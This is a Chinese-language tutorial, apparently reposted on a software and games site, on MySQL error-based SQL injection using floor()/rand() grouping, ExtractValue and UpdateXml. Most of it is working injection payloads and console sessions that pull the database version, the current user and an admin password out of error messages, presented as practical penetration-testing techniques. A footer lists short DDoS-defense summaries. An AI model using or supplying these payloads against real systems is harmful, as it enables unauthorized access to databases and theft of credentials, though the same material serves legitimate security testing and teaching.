MySQL常见报错注入利用方法全面总结与实战技巧
在MySQL注入实战中,报错注入是一项经典且高效的数据提取技术。它利用数据库执行特定SQL语句时产生的错误信息,将目标数据隐藏在报错文本中返回。下面整理了三种最常见的报错注入手法:基于floor()的报错、ExtractValue函数以及UpdateXml函数,每一步都配有实际测试过程,便于理解和验
在MySQL注入实战中,报错注入是一项经典且高效的数据提取技术。它利用数据库执行特定SQL语句时产生的错误信息,将目标数据隐藏在报错文本中返回。下面整理了三种最常见的报错注入手法:基于floor()的报错、ExtractValue函数以及UpdateXml函数,每一步都配有实际测试过程,便于理解和验证。
1. 利用floor()函数报错注入
这种方式的原理是利用`count(*)`、`floor(rand(0)*2)`与`group by`组合时产生的键值重复错误,从而在错误信息中泄露目标数据。常见的利用代码有以下两类:
and select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a);
and (select count(*) from (select 1 union select null union select !1)x group by concat((select table_name from information_schema.tables limit 1),floor(rand(0)*2)));
先看一个正常查询作为对照:
mysql> select * from article where id = 1;
+---+-------+---------+
| id | title | content |
+---+-------+---------+
| 1 | test | do it |
+---+-------+---------+
假如id参数存在注入点,我们可以通过下面这条语句触发报错:
mysql> select * from article where id = 1 and (select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a);
ERROR 1062 (23000): Duplicate entry '5.1.33-community-log1' for key 'group_key'
从返回的错误信息中可以看到,MySQL版本号已被成功提取出来。若要获取其他数据,只需将version()替换为目标查询即可。例如,想获取管理员用户名和密码:
方法一:
mysql> select * from article where id = 1 and (select 1 from (select count(*),concat((select pass from admin where id =1),floor(rand(0)*2))x from information_schema.tables group by x)a);
ERROR 1062 (23000): Duplicate entry 'admin8881' for key 'group_key'
方法二:
mysql> select * from article where id = 1 and (select count(*) from (select 1 union select null union select !1)x group by concat((select pass from admin limit 1),floor(rand(0)*2)));
ERROR 1062 (23000): Duplicate entry 'admin8881' for key 'group_key'
两种方法都能成功获取到密码admin888。
2. 利用ExtractValue函数报错注入
ExtractValue函数原本用于解析XML文档,但当第二个参数不是有效的XPath表达式时,会抛出XPATH语法错误,并将该参数的内容显示在错误信息中。测试语句如下:
and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1)));
实际测试过程:
mysql> select * from article where id = 1 and extractvalue(1, concat(0x5c,(select pass from admin limit 1)));
ERROR 1105 (HY000): XPATH syntax error: '\admin888'
在错误信息中,反斜杠后面紧跟的就是我们想要的数据——密码admin888。
3. 利用UpdateXml函数报错注入
UpdateXml与ExtractValue类似,同样基于XPATH解析错误来泄露数据。测试语句:
and 1=(updatexml(1,concat(0x3a,(select user())),1))
实际测试过程:
mysql> select * from article where id = 1 and 1=(updatexml(0x3a,concat(1,(select user())),1));
ERROR 1105 (HY000): XPATH syntax error: ':root@localhost'
错误信息中冒号后面出现了当前数据库用户root@localhost。
这三种报错注入方式在实际渗透测试中非常实用,熟练掌握后可以快速从数据库中提取关键信息。
游乐网为非赢利性网站,所展示的游戏/软件/文章内容均来自于互联网或第三方用户上传分享,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系youleyoucom@outlook.com。
同类文章
DDoS攻击的三大主要形式:原理、特征与防御重点
DDoS攻击主要分为基于流量(Volume)、基于应用层(Application)和基于协议(Protocol)三种形式。流量型攻击通过海量数据淹没带宽;应用层攻击利用Web漏洞耗尽服务器资源;协议层攻击则利用TCP握手缺陷导致系统挂起。了解这些原理是制定针对性防御策略的基础。
如何有效预防和缓解DDoS攻击:5大核心策略详解
面对DDoS攻击,单纯增加带宽已非长久之计。本文详解5大核心防护策略:优化网络硬件配置、建立DNS冗余机制、部署透明缓解技术、引入负载平衡器及专用Anti-DDoS模块。通过合理组合这些技术手段,可有效抵御SYN泛洪、Slowloris等常见攻击,保障业务连续性与网站可用性。
DDoS防护四大误区:CDN、防火墙与黑名单的局限性解析
许多企业误以为CDN、防火墙或黑名单能完全抵御DDoS攻击。本文深入解析四大常见误区:CDN仅提供部分缓解、静态黑名单易失效、防火墙算力有限且可能成为目标、阈值警报仅具滞后性。了解这些局限性,有助于构建更立体的防御体系,避免在攻击发生时措手不及。
常见DDoS攻击类型详解:原理、特征与防御策略
本文详细解析四种常见DDoS攻击类型:SYN Flood利用TCP三次握手缺陷耗尽资源;UDP Flood通过海量数据包造成带宽拥塞;ICMP Flood利用Ping请求消耗系统算力;应用层Flood针对Web脚本进行高频请求。了解其原理是制定有效防御策略的基础。
如何有效抵御DDOS攻击:4种核心防护方案解析
面对DDOS攻击,企业需构建多层防护体系。本文详解四大核心策略:利用反向路由器查询进行流量清洗,通过GCDN智能分配节点隐藏源站IP,部署负载均衡硬件分担压力,以及接入高防机房抵御数百G恶意流量。掌握这些技术,可最大程度保障业务连续性。
- 热门数据榜
相关攻略
2026-08-31 11:56
2026-08-31 11:56
2026-08-31 11:55
2026-08-31 11:55
2026-08-31 11:54
2026-08-31 11:53
2026-08-31 11:53
2026-08-31 11:53
热门教程
- 游戏攻略
- 安卓教程
- 苹果教程
- 电脑教程

